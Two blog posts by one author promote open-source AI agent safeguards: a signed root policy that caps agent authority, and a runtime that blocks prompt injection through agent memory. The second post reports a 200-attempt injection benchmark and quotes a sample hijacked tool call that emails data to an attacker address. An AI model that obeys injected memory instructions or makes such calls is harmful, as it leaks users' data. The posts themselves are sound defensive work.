Your AI can change. Your boundaries shouldn't.

Bryan Small — Thu, 13 Aug 2026 11:34:12 +0000

I keep seeing the same gap in the agent-tooling space.

We're building systems that hand AI agents more permission — OAuth grants, delegation receipts, scope tokens, child-agent chains. Every layer answers the same question: what may the agent do?

Almost nobody is answering the question that actually protects you: what must it never do — no matter what?

That's the gap SovereignRoot sits in. It's a working protocol for a portable, cryptographically signed sovereignty.json: a human-owned root constraint policy that sits above your agents, your models, your vendors, your prompts and your delegation chains.

The invariant

Effective authority = delegated authority ∩ SovereignRoot allowed authority

Decision precedence:

DENY > REQUIRE_APPROVAL > ALLOW

A downstream grant — an OAuth token, a child-agent credential, a system prompt, retrieved memory, an operator instruction — can never override a root deny. SovereignRoot is a ceiling, not a grant.

Why this is a separate layer

Agent authorization systems focus on identity, delegation and scopes. That's good and necessary. But they're all per-task or per-vendor.

A root policy outlives all of it. It survives:

model changes (swap GPT for Llama tomorrow)
vendor changes
task grants
OAuth tokens
prompts and conversations
child-agent trees

Your boundary is yours — not tied to whichever model or platform you happen to be running today.

The honest part you should care about

I'm not going to oversell this. A signed policy file does not force a non-conforming AI to obey it. If a runtime ignores the file, or an agent bypasses the enforcement point, the policy is advisory, not hard enforcement.

Hard enforcement exists only when a trusted component the agent can't bypass verifies the signed root and evaluates the action before it executes.

That's the difference between a policy that's decoration and a policy that's a boundary. SovereignRoot gives you the portable, signed, verifiable root. It doesn't pretend to be the enforcement point itself.

The crypto, properly done

Local ECDSA P-256 key generation (Web Crypto)
RFC 8785 JSON canonicalization before hashing
SHA-256 payload digest
RFC 7638 / RFC 9278 JWK-thumbprint signing identity
Encrypted private-key export (PBKDF2 + AES-256-GCM)

Everything runs in your browser. Nothing leaves your device. No account, no upload, no cookies, no analytics, no backend.

What it ships with

a guided policy generator with four presets (Balanced / Strict / Developer / Lockdown)
a drag-and-drop signature verifier (trust the signature, not the website)
a working specification
a JSON Schema
a reference verifier and policy engine
full docs and a test suite

All under Apache 2.0.

Try it

Generate your root policy: sovereignroot.pages.dev

Read the spec: github.com/BryanFiFife/SovereignRoot

It's a working draft — not an IETF, W3C or NIST standard. That's intentional and honest. If you build agent tooling, I'd genuinely value your eyes on the spec and the enforcement-model questions in it.

SovereignRoot is a technical policy format, not legal advice or a guarantee of AI safety. Keep secrets — passwords, keys, tokens — out of your sovereignty.json; it's a policy document, not a secret store.

Building an agent-security runtime — and why I published my failures

Bryan Small — Tue, 11 Aug 2026 16:24:13 +0000

I built a local, open-source runtime that sits between an autonomous AI agent and its memory, and interdicts unsafe action before it executes. This is the story of what I found when I actually tested it — and why I published the results.

👉 Live product: agentinterdict.pages.dev · Code: github.com/BryanFiFife/AgentInterdict

🚨 The problem nobody was fixing

Autonomous agents persist memory. That memory is a prime attack surface. A single poisoned document, a single malicious email, a single compromised web page can plant an instruction your agent will obey without question. The industry is racing to give agents more memory, more tools, and more autonomy. Almost nobody is securing the boundary where context becomes action.

⚠️ One document.
If you run an agent with memory and tools and no enforcement layer, you are one malicious document away from a breach. Not "maybe." One document.

💡 The core insight: retrieval is not permission

Most agent architectures treat retrieved context as trusted. That's the vulnerability. Reading a memory does not authorize acting on it.

So I built a runtime that enforces six invariants at the boundary where context becomes action:

Invariant	What it means
🧬 Origin-bound authority	Derived content can never outrank its source
🚫 No derivation amp	You can't launder authority by summarizing
🔑 Retrieval ≠ permission	Recalled context can't authorize high-risk action
⏱️ Action-time re-scoring	Risk is re-evaluated at action, not just write
🔒 Credentials-not-memory	Secret-shaped content never reaches long-term memory
🛡️ Fail-closed tampering	Any tampering flips the runtime to lockdown

INGEST → TRUST → MEMORY → AUTHORITY → INTERDICT → EXECUTE

🧪 I tested it. Here's what happened.

I ran a fixed suite of 200 real injection attempts through the enforcement engine. This is the part that changed how I think about security marketing.

🔴 First run: 49.5% block rate.
Direct injection caught 74%, obfuscated 70%, multi-turn 54% — and tool-call hijack was 0%. The structured calls like send_email(to='attacker@evil.io') sailed right through.

I could have stopped there and published a different number. I didn't.

📊 What the benchmark taught me

Tool-call hijack: 0% → 100% — patterns for exfiltration, credential arguments, and dangerous shell commands
Multi-turn: 54% → 96% — detection for instruction overrides across a conversation
Obfuscation: 70% → 94% — letter-spaced and encoded-payload detection
Direct injection: 74% → 96% — tightened override and credential-disclosure patterns

Final result: 96.5% block rate. 7 documented misses.

Attack category	Attempts	Blocked	Rate
Direct injection	50	48	96%
Obfuscated / encoded	50	47	94%
Multi-turn / split	50	48	96%
Tool-call hijack	50	50	100%
Total	200	193	96.5%

🛡️ I don't claim 99.9%. I publish the misses.
I publish the 7 misses with their payloads so anyone can reproduce and assess them. A security tool that hides its misses isn't trustworthy. If I told you 99.9% and it was really 96.5%, the tool would be lying to you — and a security tool that lies is worse than no tool at all.

🎯 Why I'm publishing this

Security is the one domain where honesty isn't a nice-to-have, it's the product. A firewall that claims to block everything and blocks 90% is a liability — you make decisions based on a number that isn't real.

By publishing the misses, I'm saying: here's what the tool actually does, here's where it's weak, you decide if that's acceptable for your threat model.

🚀 Where things stand

✅ 96.5% block rate · 7 documented misses
✅ 78 passing tests on the enforcement invariants
✅ Local-first — no cloud, no telemetry, no exfiltration by construction
✅ Integrations — Hermes, OpenClaw, MCP, REST
✅ CLI — interdict status / audit / policy / test

It's open-source and free for personal/research use. The core that keeps your agent safe shouldn't be a paywall.

👉 See it live: agentinterdict.pages.dev · github.com/BryanFiFife/AgentInterdict

💬 What attack vectors am I missing?

I built this because I believe agent memory is an under-secured attack surface, and I want the community to pressure-test that belief. The 7 misses are the gaps I care about most.

If you're building agents, running local LLMs, or thinking about this from a security perspective — I want the hard cases. Open an issue on the repo.

🔐 Trust context. Verify authority. Interdict unsafe action.

DEV Community: Bryan Small

Your AI can change. Your boundaries shouldn't.

Why this is a separate layer

Building an agent-security runtime — and why I published my failures